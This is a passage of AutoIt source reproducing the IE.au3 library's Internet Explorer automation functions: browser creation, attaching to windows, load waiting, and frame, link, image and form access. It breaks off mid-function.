  767. Global $iecomerrornumber, $iecomerrornumberhex, $iecomerrordescription, $iecomerrorscriptline, $iecomerrorwindescription, $iecomerrorsource, $iecomerrorhelpfile, $iecomerrorhelpcontext, $iecomerrorlastdllerror, $iecomerrorcomobj, $iecomerroroutput
  768. Global Enum $_iestatus_success = 0, $_iestatus_generalerror, $_iestatus_comerror, $_iestatus_invaliddatatype, $_iestatus_invalidobjecttype, $_iestatus_invalidvalue, $_iestatus_loadwaittimeout, $_iestatus_nomatch, $_iestatus_accessisdenied, $_iestatus_clientdisconnected
  769. Global Enum Step *2 $_ienotifylevel_none = 0, $_ienotifynotifylevel_warning = 1, $_ienotifynotifylevel_error, $_ienotifynotifylevel_comerror
  770. Global Enum Step *2 $_ienotifymethod_silent = 0, $_ienotifymethod_console = 1, $_ienotifymethod_tooltip, $_ienotifymethod_msgbox
  771. #EndRegion Global Variables and Constants
  772. #Region Core functions
  773.  
  774. Func _iecreate($s_url = "about:blank", $f_tryattach = 0, $f_visible = 1, $f_wait = 1, $f_takefocus = 1)
  775.     If $__ieau3v1compatibility Then
  776.         Switch String($s_url)
  777.             Case "0"
  778.                 $s_url = "about:blank"
  779.                 $f_visible = 0
  780.                 __ieerrornotify("Warning", "_IECreate", "", "Using deprecated behavior - $f_visible is now parameter 3 instead of parameter 1")
  781.             Case "1"
  782.                 $s_url = "about:blank"
  783.                 $f_visible = 1
  784.                 __ieerrornotify("Warning", "_IECreate", "", "Using deprecated behavior - $f_visible is now parameter 3 instead of parameter 1")
  785.         EndSwitch
  786.     EndIf
  787.     If NOT $f_visible Then $f_takefocus = 0
  788.     If $f_tryattach Then
  789.         Local $oresult = _ieattach($s_url, "url")
  790.         If IsObj($oresult) Then
  791.             If $f_takefocus Then WinActivate(HWnd($oresult.hwnd))
  792.             Return SetError($_iestatus_success, 1, $oresult)
  793.         EndIf
  794.     EndIf
  795.     Local $f_mustunlock = 0
  796.     If NOT $f_visible AND __ielocksetforegroundwindow($lsfw_lock) Then $f_mustunlock = 1
  797.     Local $o_object = ObjCreate("InternetExplorer.Application")
  798.     If NOT IsObj($o_object) Then
  799.         __ieerrornotify("Error", "_IECreate", "", "Browser Object Creation Failed")
  800.         Return SetError($_iestatus_generalerror, 0, 0)
  801.     EndIf
  802.     $o_object.visible = $f_visible
  803.     If $f_mustunlock AND NOT __ielocksetforegroundwindow($lsfw_unlock) Then __ieerrornotify("Warning", "_IECreate", "", "Foreground Window Unlock Failed!")
  804.     _ienavigate($o_object, $s_url, $f_wait)
  805.     Local $ierror = @error
  806.     If NOT $ierror AND StringLeft($s_url, 6) = "about:" Then
  807.         Local $odocument = $o_object.document
  808.         _ieaction($odocument, "focus")
  809.     EndIf
  810.     Return SetError($ierror, 0, $o_object)
  811. EndFunc
  812.  
  813. Func _iecreateembedded()
  814.     Local $o_object = ObjCreate("Shell.Explorer.2")
  815.     If NOT IsObj($o_object) Then
  816.         __ieerrornotify("Error", "_IECreateEmbedded", "", "WebBrowser Object Creation Failed")
  817.         Return SetError($_iestatus_generalerror, 0, 0)
  818.     EndIf
  819.     Return SetError($_iestatus_success, 0, $o_object)
  820. EndFunc
  821.  
  822. Func _ienavigate(ByRef $o_object, $s_url, $f_wait = 1)
  823.     If NOT IsObj($o_object) Then
  824.         __ieerrornotify("Error", "_IENavigate", "$_IEStatus_InvalidDataType")
  825.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  826.     EndIf
  827.     If NOT __ieisobjtype($o_object, "documentContainer") Then
  828.         __ieerrornotify("Error", "_IENavigate", "$_IEStatus_InvalidObjectType")
  829.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  830.     EndIf
  831.     $o_object.navigate($s_url)
  832.     If $f_wait Then
  833.         _ieloadwait($o_object)
  834.         Return SetError(@error, 0, -1)
  835.     EndIf
  836.     Return SetError($_iestatus_success, 0, -1)
  837. EndFunc
  838.  
  839. Func _ieattach($s_string, $s_mode = "Title", $i_instance = 1)
  840.     $s_mode = StringLower($s_mode)
  841.     $i_instance = Int($i_instance)
  842.     If $i_instance < 1 Then
  843.         __ieerrornotify("Error", "_IEAttach", "$_IEStatus_InvalidValue", "$i_instance < 1")
  844.         Return SetError($_iestatus_invalidvalue, 3, 0)
  845.     EndIf
  846.     If $s_mode = "embedded" OR $s_mode = "dialogbox" Then
  847.         Local $iwintitlematchmode = Opt("WinTitleMatchMode", 2)
  848.         If $s_mode = "dialogbox" AND $i_instance > 1 Then
  849.             If IsHWnd($s_string) Then
  850.                 $i_instance = 1
  851.                 __ieerrornotify("Warning", "_IEAttach", "$_IEStatus_GeneralError", "$i_instance > 1 invalid with HWnd and DialogBox.  Setting to 1.")
  852.             Else
  853.                 Local $a_winlist = WinList($s_string, "")
  854.                 If $i_instance <= $a_winlist[0][0] Then
  855.                     $s_string = $a_winlist[$i_instance][1]
  856.                     $i_instance = 1
  857.                 Else
  858.                     __ieerrornotify("Warning", "_IEAttach", "$_IEStatus_NoMatch")
  859.                     Opt("WinTitleMatchMode", $iwintitlematchmode)
  860.                     Return SetError($_iestatus_nomatch, 1, 0)
  861.                 EndIf
  862.             EndIf
  863.         EndIf
  864.         Local $h_control = ControlGetHandle($s_string, "", "[CLASS:Internet Explorer_Server; INSTANCE:" & $i_instance & "]")
  865.         Local $oresult = __iecontrolgetobjfromhwnd($h_control)
  866.         Opt("WinTitleMatchMode", $iwintitlematchmode)
  867.         If IsObj($oresult) Then
  868.             Return SetError($_iestatus_success, 0, $oresult)
  869.         Else
  870.             __ieerrornotify("Warning", "_IEAttach", "$_IEStatus_NoMatch")
  871.             Return SetError($_iestatus_nomatch, 1, 0)
  872.         EndIf
  873.     EndIf
  874.     Local $o_shell = ObjCreate("Shell.Application")
  875.     Local $o_shellwindows = $o_shell.windows()
  876.     Local $i_tmp = 1
  877.     Local $f_notifystatus, $status, $f_isbrowser, $s_tmp
  878.     For $o_window In $o_shellwindows
  879.         $f_isbrowser = True
  880.         $status = __ieinternalerrorhandlerregister()
  881.         If NOT $status Then __ieerrornotify("Warning", "_IEAttach", "Cannot register internal error handler, cannot trap COM errors", "Use _IEErrorHandlerRegister() to register a user error handler")
  882.         $f_notifystatus = _ieerrornotify()
  883.         _ieerrornotify(False)
  884.         If $f_isbrowser Then
  885.             $s_tmp = $o_window.type
  886.             If @error Then $f_isbrowser = False
  887.         EndIf
  888.         If $f_isbrowser Then
  889.             $s_tmp = $o_window.document.title
  890.             If @error Then $f_isbrowser = False
  891.         EndIf
  892.         _ieerrornotify($f_notifystatus)
  893.         __ieinternalerrorhandlerderegister()
  894.         If $f_isbrowser Then
  895.             Switch $s_mode
  896.                 Case "title"
  897.                     If StringInStr($o_window.document.title, $s_string) > 0 Then
  898.                         If $i_instance = $i_tmp Then
  899.                             Return SetError($_iestatus_success, 0, $o_window)
  900.                         Else
  901.                             $i_tmp += 1
  902.                         EndIf
  903.                     EndIf
  904.                 Case "instance"
  905.                     If $i_instance = $i_tmp Then
  906.                         Return SetError($_iestatus_success, 0, $o_window)
  907.                     Else
  908.                         $i_tmp += 1
  909.                     EndIf
  910.                 Case "windowtitle"
  911.                     Local $f_found = False
  912.                     $s_tmp = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\", "Window Title")
  913.                     If NOT @error Then
  914.                         If StringInStr($o_window.document.title & " - " & $s_tmp, $s_string) Then $f_found = True
  915.                     Else
  916.                         If StringInStr($o_window.document.title & " - Microsoft Internet Explorer", $s_string) Then $f_found = True
  917.                         If StringInStr($o_window.document.title & " - Windows Internet Explorer", $s_string) Then $f_found = True
  918.                     EndIf
  919.                     If $f_found Then
  920.                         If $i_instance = $i_tmp Then
  921.                             Return SetError($_iestatus_success, 0, $o_window)
  922.                         Else
  923.                             $i_tmp += 1
  924.                         EndIf
  925.                     EndIf
  926.                 Case "url"
  927.                     If StringInStr($o_window.locationurl, $s_string) > 0 Then
  928.                         If $i_instance = $i_tmp Then
  929.                             Return SetError($_iestatus_success, 0, $o_window)
  930.                         Else
  931.                             $i_tmp += 1
  932.                         EndIf
  933.                     EndIf
  934.                 Case "text"
  935.                     If StringInStr($o_window.document.body.innertext, $s_string) > 0 Then
  936.                         If $i_instance = $i_tmp Then
  937.                             Return SetError($_iestatus_success, 0, $o_window)
  938.                         Else
  939.                             $i_tmp += 1
  940.                         EndIf
  941.                     EndIf
  942.                 Case "html"
  943.                     If StringInStr($o_window.document.body.innerhtml, $s_string) > 0 Then
  944.                         If $i_instance = $i_tmp Then
  945.                             Return SetError($_iestatus_success, 0, $o_window)
  946.                         Else
  947.                             $i_tmp += 1
  948.                         EndIf
  949.                     EndIf
  950.                 Case "hwnd"
  951.                     If $i_instance > 1 Then
  952.                         $i_instance = 1
  953.                         __ieerrornotify("Warning", "_IEAttach", "$_IEStatus_GeneralError", "$i_instance > 1 invalid with HWnd.  Setting to 1.")
  954.                     EndIf
  955.                     If _iepropertyget($o_window, "hwnd") = $s_string Then
  956.                         Return SetError($_iestatus_success, 0, $o_window)
  957.                     EndIf
  958.                 Case Else
  959.                     __ieerrornotify("Error", "_IEAttach", "$_IEStatus_InvalidValue", "Invalid Mode Specified")
  960.                     Return SetError($_iestatus_invalidvalue, 2, 0)
  961.             EndSwitch
  962.         EndIf
  963.     Next
  964.     __ieerrornotify("Warning", "_IEAttach", "$_IEStatus_NoMatch")
  965.     Return SetError($_iestatus_nomatch, 1, 0)
  966. EndFunc
  967.  
  968. Func _ieloadwait(ByRef $o_object, $i_delay = 0, $i_timeout = -1)
  969.     If NOT IsObj($o_object) Then
  970.         __ieerrornotify("Error", "_IELoadWait", "$_IEStatus_InvalidDataType")
  971.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  972.     EndIf
  973.     If NOT __ieisobjtype($o_object, "browserdom") Then
  974.         __ieerrornotify("Error", "_IELoadWait", "$_IEStatus_InvalidObjectType", ObjName($o_object))
  975.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  976.     EndIf
  977.     Local $otemp, $f_abort = False, $i_errorstatuscode = $_iestatus_success
  978.     Local $status = __ieinternalerrorhandlerregister()
  979.     If NOT $status Then __ieerrornotify("Warning", "_IELoadWait", "Cannot register internal error handler, cannot trap COM errors", "Use _IEErrorHandlerRegister() to register a user error handler")
  980.     Local $f_notifystatus = _ieerrornotify()
  981.     _ieerrornotify(False)
  982.     Sleep($i_delay)
  983.     Local $ieloadwaittimer = TimerInit()
  984.     If $i_timeout = -1 Then $i_timeout = $__ieloadwaittimeout
  985.     Select
  986.         Case __ieisobjtype($o_object, "browser")
  987.             While NOT (String($o_object.readystate) = "complete" OR $o_object.readystate = 4 OR $f_abort)
  988.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  989.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  990.                     $f_abort = True
  991.                 EndIf
  992.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  993.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  994.                     $f_abort = True
  995.                 EndIf
  996.                 Sleep(100)
  997.             WEnd
  998.             While NOT (String($o_object.document.readystate) = "complete" OR $o_object.document.readystate = 4 OR $f_abort)
  999.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1000.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1001.                     $f_abort = True
  1002.                 EndIf
  1003.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1004.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1005.                     $f_abort = True
  1006.                 EndIf
  1007.                 Sleep(100)
  1008.             WEnd
  1009.         Case __ieisobjtype($o_object, "window")
  1010.             While NOT (String($o_object.document.readystate) = "complete" OR $o_object.document.readystate = 4 OR $f_abort)
  1011.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1012.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1013.                     $f_abort = True
  1014.                 EndIf
  1015.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1016.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1017.                     $f_abort = True
  1018.                 EndIf
  1019.                 Sleep(100)
  1020.             WEnd
  1021.             While NOT (String($o_object.top.document.readystate) = "complete" OR $o_object.top.document.readystate = 4 OR $f_abort)
  1022.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1023.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1024.                     $f_abort = True
  1025.                 EndIf
  1026.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1027.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1028.                     $f_abort = True
  1029.                 EndIf
  1030.                 Sleep(100)
  1031.             WEnd
  1032.         Case __ieisobjtype($o_object, "document")
  1033.             $otemp = $o_object.parentwindow
  1034.             While NOT (String($otemp.document.readystate) = "complete" OR $otemp.document.readystate = 4 OR $f_abort)
  1035.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1036.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1037.                     $f_abort = True
  1038.                 EndIf
  1039.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1040.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1041.                     $f_abort = True
  1042.                 EndIf
  1043.                 Sleep(100)
  1044.             WEnd
  1045.             While NOT (String($otemp.top.document.readystate) = "complete" OR $otemp.top.document.readystate = 4 OR $f_abort)
  1046.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1047.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1048.                     $f_abort = True
  1049.                 EndIf
  1050.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1051.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1052.                     $f_abort = True
  1053.                 EndIf
  1054.                 Sleep(100)
  1055.             WEnd
  1056.         Case Else
  1057.             $otemp = $o_object.document.parentwindow
  1058.             While NOT (String($otemp.document.readystate) = "complete" OR $otemp.document.readystate = 4 OR $f_abort)
  1059.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1060.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1061.                     $f_abort = True
  1062.                 EndIf
  1063.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1064.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1065.                     $f_abort = True
  1066.                 EndIf
  1067.                 Sleep(100)
  1068.             WEnd
  1069.             While NOT (String($otemp.top.document.readystate) = "complete" OR $o_object.top.document.readystate = 4 OR $f_abort)
  1070.                 If (TimerDiff($ieloadwaittimer) > $i_timeout) Then
  1071.                     $i_errorstatuscode = $_iestatus_loadwaittimeout
  1072.                     $f_abort = True
  1073.                 EndIf
  1074.                 If @error = $_iestatus_comerror AND __iecomerrorunrecoverable() Then
  1075.                     $i_errorstatuscode = __iecomerrorunrecoverable()
  1076.                     $f_abort = True
  1077.                 EndIf
  1078.                 Sleep(100)
  1079.             WEnd
  1080.     EndSelect
  1081.     _ieerrornotify($f_notifystatus)
  1082.     __ieinternalerrorhandlerderegister()
  1083.     Switch $i_errorstatuscode
  1084.         Case $_iestatus_success
  1085.             Return SetError($_iestatus_success, 0, 1)
  1086.         Case $_iestatus_loadwaittimeout
  1087.             __ieerrornotify("Warning", "_IELoadWait", "$_IEStatus_LoadWaitTimeout")
  1088.             Return SetError($_iestatus_loadwaittimeout, 3, 0)
  1089.         Case $_iestatus_accessisdenied
  1090.             __ieerrornotify("Warning", "_IELoadWait", "$_IEStatus_AccessIsDenied", "Cannot verify readyState.  Likely casue: cross-site scripting security restriction.")
  1091.             Return SetError($_iestatus_accessisdenied, 0, 0)
  1092.         Case $_iestatus_clientdisconnected
  1093.             __ieerrornotify("Error", "_IELoadWait", "$_IEStatus_ClientDisconnected", "Browser has been deleted prior to operation.")
  1094.             Return SetError($_iestatus_clientdisconnected, 0, 0)
  1095.         Case Else
  1096.             __ieerrornotify("Error", "_IELoadWait", "$_IEStatus_GeneralError", "Invalid Error Status - Notify IE.au3 developer")
  1097.             Return SetError($_iestatus_generalerror, 0, 0)
  1098.     EndSwitch
  1099. EndFunc
  1100.  
  1101. Func _ieloadwaittimeout($i_timeout = -1)
  1102.     If $i_timeout = -1 Then
  1103.         Return SetError($_iestatus_success, 0, $__ieloadwaittimeout)
  1104.     Else
  1105.         $__ieloadwaittimeout = $i_timeout
  1106.         Return SetError($_iestatus_success, 0, 1)
  1107.     EndIf
  1108. EndFunc
  1109.  
  1110. #EndRegion Core functions
  1111. #Region Frame Functions
  1112.  
  1113. Func _ieisframeset(ByRef $o_object)
  1114.     If NOT IsObj($o_object) Then
  1115.         __ieerrornotify("Error", "_IEIsFrameSet", "$_IEStatus_InvalidDataType")
  1116.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1117.     EndIf
  1118.     If String($o_object.document.body.tagname) = "FRAMESET" Then
  1119.         Return SetError($_iestatus_success, 0, 1)
  1120.     Else
  1121.         Return SetError($_iestatus_success, 0, 0)
  1122.     EndIf
  1123. EndFunc
  1124.  
  1125. Func _ieframegetcollection(ByRef $o_object, $i_index = -1)
  1126.     If NOT IsObj($o_object) Then
  1127.         __ieerrornotify("Error", "_IEFrameGetCollection", "$_IEStatus_InvalidDataType")
  1128.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1129.     EndIf
  1130.     $i_index = Number($i_index)
  1131.     Select
  1132.         Case $i_index = -1
  1133.             Return SetError($_iestatus_success, $o_object.document.parentwindow.frames.length, $o_object.document.parentwindow.frames)
  1134.         Case $i_index > -1 AND $i_index < $o_object.document.parentwindow.frames.length
  1135.             Return SetError($_iestatus_success, $o_object.document.parentwindow.frames.length, $o_object.document.parentwindow.frames.item($i_index))
  1136.         Case $i_index < -1
  1137.             __ieerrornotify("Error", "_IEFrameGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  1138.             Return SetError($_iestatus_invalidvalue, 2, 0)
  1139.         Case Else
  1140.             __ieerrornotify("Warning", "_IEFrameGetCollection", "$_IEStatus_NoMatch")
  1141.             Return SetError($_iestatus_nomatch, 2, 0)
  1142.     EndSelect
  1143. EndFunc
  1144.  
  1145. Func _ieframegetobjbyname(ByRef $o_object, $s_name)
  1146.     If NOT IsObj($o_object) Then
  1147.         __ieerrornotify("Error", "_IEFrameGetObjByName", "$_IEStatus_InvalidDataType")
  1148.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1149.     EndIf
  1150.     Local $otemp, $oframes
  1151.     If NOT __ieisobjtype($o_object, "browserdom") Then
  1152.         __ieerrornotify("Error", "_IEFrameGetObjByName", "$_IEStatus_InvalidObjectType")
  1153.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1154.     EndIf
  1155.     If __ieisobjtype($o_object, "document") Then
  1156.         $otemp = $o_object.parentwindow
  1157.     Else
  1158.         $otemp = $o_object.document.parentwindow
  1159.     EndIf
  1160.     If _ieisframeset($otemp) Then
  1161.         $oframes = _ietagnamegetcollection($otemp, "frame")
  1162.     Else
  1163.         $oframes = _ietagnamegetcollection($otemp, "iframe")
  1164.     EndIf
  1165.     If $oframes.length Then
  1166.         For $oframe In $oframes
  1167.             If $oframe.name = $s_name Then Return SetError($_iestatus_success, 0, $otemp.frames($s_name))
  1168.         Next
  1169.         __ieerrornotify("Warning", "_IEFrameGetObjByName", "$_IEStatus_NoMatch", "No frames matching name")
  1170.         Return SetError($_iestatus_nomatch, 2, 0)
  1171.     Else
  1172.         __ieerrornotify("Warning", "_IEFrameGetObjByName", "$_IEStatus_NoMatch", "No Frames found")
  1173.         Return SetError($_iestatus_nomatch, 2, 0)
  1174.     EndIf
  1175. EndFunc
  1176.  
  1177. #EndRegion Frame Functions
  1178. #Region Link functions
  1179.  
  1180. Func _ielinkclickbytext(ByRef $o_object, $s_linktext, $i_index = 0, $f_wait = 1)
  1181.     If NOT IsObj($o_object) Then
  1182.         __ieerrornotify("Error", "_IELinkClickByText", "$_IEStatus_InvalidDataType")
  1183.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1184.     EndIf
  1185.     Local $found = 0, $linktext, $links = $o_object.document.links
  1186.     $i_index = Number($i_index)
  1187.     For $link In $links
  1188.         $linktext = $link.outertext & ""
  1189.         If $linktext = $s_linktext Then
  1190.             If ($found = $i_index) Then
  1191.                 $link.click()
  1192.                 If $f_wait Then
  1193.                     _ieloadwait($o_object)
  1194.                     Return SetError(@error, 0, -1)
  1195.                 EndIf
  1196.                 Return SetError($_iestatus_success, 0, -1)
  1197.             EndIf
  1198.             $found = $found + 1
  1199.         EndIf
  1200.     Next
  1201.     __ieerrornotify("Warning", "_IELinkClickByText", "$_IEStatus_NoMatch")
  1202.     Return SetError($_iestatus_nomatch, 0, 0)
  1203. EndFunc
  1204.  
  1205. Func _ielinkclickbyindex(ByRef $o_object, $i_index, $f_wait = 1)
  1206.     If NOT IsObj($o_object) Then
  1207.         __ieerrornotify("Error", "_IELinkClickByIndex", "$_IEStatus_InvalidDataType")
  1208.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1209.     EndIf
  1210.     Local $olinks = $o_object.document.links, $olink
  1211.     $i_index = Number($i_index)
  1212.     If ($i_index >= 0) AND ($i_index <= $olinks.length - 1) Then
  1213.         $olink = $olinks($i_index)
  1214.         $olink.click()
  1215.         If $f_wait Then
  1216.             _ieloadwait($o_object)
  1217.             Return SetError(@error, 0, -1)
  1218.         EndIf
  1219.         Return SetError($_iestatus_success, 0, -1)
  1220.     Else
  1221.         __ieerrornotify("Warning", "_IELinkClickByIndex", "$_IEStatus_NoMatch")
  1222.         Return SetError($_iestatus_nomatch, 2, 0)
  1223.     EndIf
  1224. EndFunc
  1225.  
  1226. Func _ielinkgetcollection(ByRef $o_object, $i_index = -1)
  1227.     If NOT IsObj($o_object) Then
  1228.         __ieerrornotify("Error", "_IELinkGetCollection", "$_IEStatus_InvalidDataType")
  1229.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1230.     EndIf
  1231.     $i_index = Number($i_index)
  1232.     Select
  1233.         Case $i_index = -1
  1234.             Return SetError($_iestatus_success, $o_object.document.links.length, $o_object.document.links)
  1235.         Case $i_index > -1 AND $i_index < $o_object.document.links.length
  1236.             Return SetError($_iestatus_success, $o_object.document.links.length, $o_object.document.links.item($i_index))
  1237.         Case $i_index < -1
  1238.             __ieerrornotify("Error", "_IELinkGetCollection", "$_IEStatus_InvalidValue")
  1239.             Return SetError($_iestatus_invalidvalue, 2, 0)
  1240.         Case Else
  1241.             __ieerrornotify("Warning", "_IELinkGetCollection", "$_IEStatus_NoMatch")
  1242.             Return SetError($_iestatus_nomatch, 2, 0)
  1243.     EndSelect
  1244. EndFunc
  1245.  
  1246. #EndRegion Link functions
  1247. #Region Image functions
  1248.  
  1249. Func _ieimgclick(ByRef $o_object, $s_linktext, $s_mode = "src", $i_index = 0, $f_wait = 1)
  1250.     If NOT IsObj($o_object) Then
  1251.         __ieerrornotify("Error", "_IEImgClick", "$_IEStatus_InvalidDataType")
  1252.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1253.     EndIf
  1254.     Local $linktext, $found = 0, $imgs = $o_object.document.images
  1255.     $s_mode = StringLower($s_mode)
  1256.     $i_index = Number($i_index)
  1257.     For $img In $imgs
  1258.         Select
  1259.             Case $s_mode = "alt"
  1260.                 $linktext = $img.alt
  1261.             Case $s_mode = "name"
  1262.                 $linktext = $img.name
  1263.             Case $s_mode = "src"
  1264.                 $linktext = $img.src
  1265.             Case Else
  1266.                 __ieerrornotify("Error", "_IEImgClick", "$_IEStatus_InvalidValue", "Invalid mode: " & $s_mode)
  1267.                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1268.         EndSelect
  1269.         If StringInStr($linktext, $s_linktext) Then
  1270.             If ($found = $i_index) Then
  1271.                 $img.click()
  1272.                 If $f_wait Then
  1273.                     _ieloadwait($o_object)
  1274.                     Return SetError(@error, 0, -1)
  1275.                 EndIf
  1276.                 Return SetError($_iestatus_success, 0, -1)
  1277.             EndIf
  1278.             $found = $found + 1
  1279.         EndIf
  1280.     Next
  1281.     __ieerrornotify("Warning", "_IEImgClick", "$_IEStatus_NoMatch")
  1282.     Return SetError($_iestatus_nomatch, 0, 0)
  1283. EndFunc
  1284.  
  1285. Func _ieimggetcollection(ByRef $o_object, $i_index = -1)
  1286.     If NOT IsObj($o_object) Then
  1287.         __ieerrornotify("Error", "_IEImgGetCollection", "$_IEStatus_InvalidDataType")
  1288.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1289.     EndIf
  1290.     Local $otemp = _iedocgetobj($o_object)
  1291.     $i_index = Number($i_index)
  1292.     Select
  1293.         Case $i_index = -1
  1294.             Return SetError($_iestatus_success, $otemp.images.length, $otemp.images)
  1295.         Case $i_index > -1 AND $i_index < $otemp.images.length
  1296.             Return SetError($_iestatus_success, $otemp.images.length, $otemp.images.item($i_index))
  1297.         Case $i_index < -1
  1298.             __ieerrornotify("Error", "_IEImgGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  1299.             Return SetError($_iestatus_invalidvalue, 2, 0)
  1300.         Case Else
  1301.             __ieerrornotify("Warning", "_IEImgGetCollection", "$_IEStatus_NoMatch")
  1302.             Return SetError($_iestatus_nomatch, 1, 0)
  1303.     EndSelect
  1304. EndFunc
  1305.  
  1306. #EndRegion Image functions
  1307. #Region Form functions
  1308.  
  1309. Func _ieformgetcollection(ByRef $o_object, $i_index = -1)
  1310.     If NOT IsObj($o_object) Then
  1311.         __ieerrornotify("Error", "_IEFormGetCollection", "$_IEStatus_InvalidDataType")
  1312.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1313.     EndIf
  1314.     Local $otemp = _iedocgetobj($o_object)
  1315.     $i_index = Number($i_index)
  1316.     Select
  1317.         Case $i_index = -1
  1318.             Return SetError($_iestatus_success, $otemp.forms.length, $otemp.forms)
  1319.         Case $i_index > -1 AND $i_index < $otemp.forms.length
  1320.             Return SetError($_iestatus_success, $otemp.forms.length, $otemp.forms.item($i_index))
  1321.         Case $i_index < -1
  1322.             __ieerrornotify("Error", "_IEFormGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  1323.             Return SetError($_iestatus_invalidvalue, 2, 0)
  1324.         Case Else
  1325.             __ieerrornotify("Warning", "_IEFormGetCollection", "$_IEStatus_NoMatch")
  1326.             Return SetError($_iestatus_nomatch, 1, 0)
  1327.     EndSelect
  1328. EndFunc
  1329.  
  1330. Func _ieformgetobjbyname(ByRef $o_object, $s_name, $i_index = 0)
  1331.     If NOT IsObj($o_object) Then
  1332.         __ieerrornotify("Error", "_IEFormGetObjByName", "$_IEStatus_InvalidDataType")
  1333.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1334.     EndIf
  1335.     Local $i_length = 0
  1336.     Local $o_col = $o_object.document.forms.item($s_name)
  1337.     If IsObj($o_col) Then
  1338.         If __ieisobjtype($o_col, "elementcollection") Then
  1339.             $i_length = $o_col.length
  1340.         Else
  1341.             $i_length = 1
  1342.         EndIf
  1343.     EndIf
  1344.     $i_index = Number($i_index)
  1345.     If $i_index = -1 Then
  1346.         Return SetError($_iestatus_success, $i_length, $o_object.document.forms.item($s_name))
  1347.     Else
  1348.         If IsObj($o_object.document.forms.item($s_name, $i_index)) Then
  1349.             Return SetError($_iestatus_success, $i_length, $o_object.document.forms.item($s_name, $i_index))
  1350.         Else
  1351.             __ieerrornotify("Warning", "_IEFormGetObjByName", "$_IEStatus_NoMatch")
  1352.             Return SetError($_iestatus_nomatch, 0, 0)
  1353.         EndIf
  1354.     EndIf
  1355. EndFunc
  1356.  
  1357. Func _ieformelementgetcollection(ByRef $o_object, $i_index = -1)
  1358.     If NOT IsObj($o_object) Then
  1359.         __ieerrornotify("Error", "_IEFormElementGetCollection", "$_IEStatus_InvalidDataType")
  1360.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1361.     EndIf
  1362.     If NOT __ieisobjtype($o_object, "form") Then
  1363.         __ieerrornotify("Error", "_IEFormElementGetCollection", "$_IEStatus_InvalidObjectType")
  1364.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1365.     EndIf
  1366.     $i_index = Number($i_index)
  1367.     Select
  1368.         Case $i_index = -1
  1369.             Return SetError($_iestatus_success, $o_object.elements.length, $o_object.elements)
  1370.         Case $i_index > -1 AND $i_index < $o_object.elements.length
  1371.             Return SetError($_iestatus_success, $o_object.elements.length, $o_object.elements.item($i_index))
  1372.         Case $i_index < -1
  1373.             __ieerrornotify("Error", "_IEFormElementGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  1374.             Return SetError($_iestatus_invalidvalue, 2, 0)
  1375.         Case Else
  1376.             Return SetError($_iestatus_nomatch, 1, 0)
  1377.     EndSelect
  1378. EndFunc
  1379.  
  1380. Func _ieformelementgetobjbyname(ByRef $o_object, $s_name, $i_index = 0)
  1381.     If NOT IsObj($o_object) Then
  1382.         __ieerrornotify("Error", "_IEFormElementGetObjByName", "$_IEStatus_InvalidDataType")
  1383.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1384.     EndIf
  1385.     If NOT __ieisobjtype($o_object, "form") Then
  1386.         __ieerrornotify("Error", "_IEFormElementGetObjByName", "$_IEStatus_InvalidObjectType")
  1387.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1388.     EndIf
  1389.     Local $i_length = 0
  1390.     Local $o_col = $o_object.elements.item($s_name)
  1391.     If IsObj($o_col) Then
  1392.         If __ieisobjtype($o_col, "elementcollection") Then
  1393.             $i_length = $o_col.length
  1394.         Else
  1395.             $i_length = 1
  1396.         EndIf
  1397.     EndIf
  1398.     $i_index = Number($i_index)
  1399.     If $i_index = -1 Then
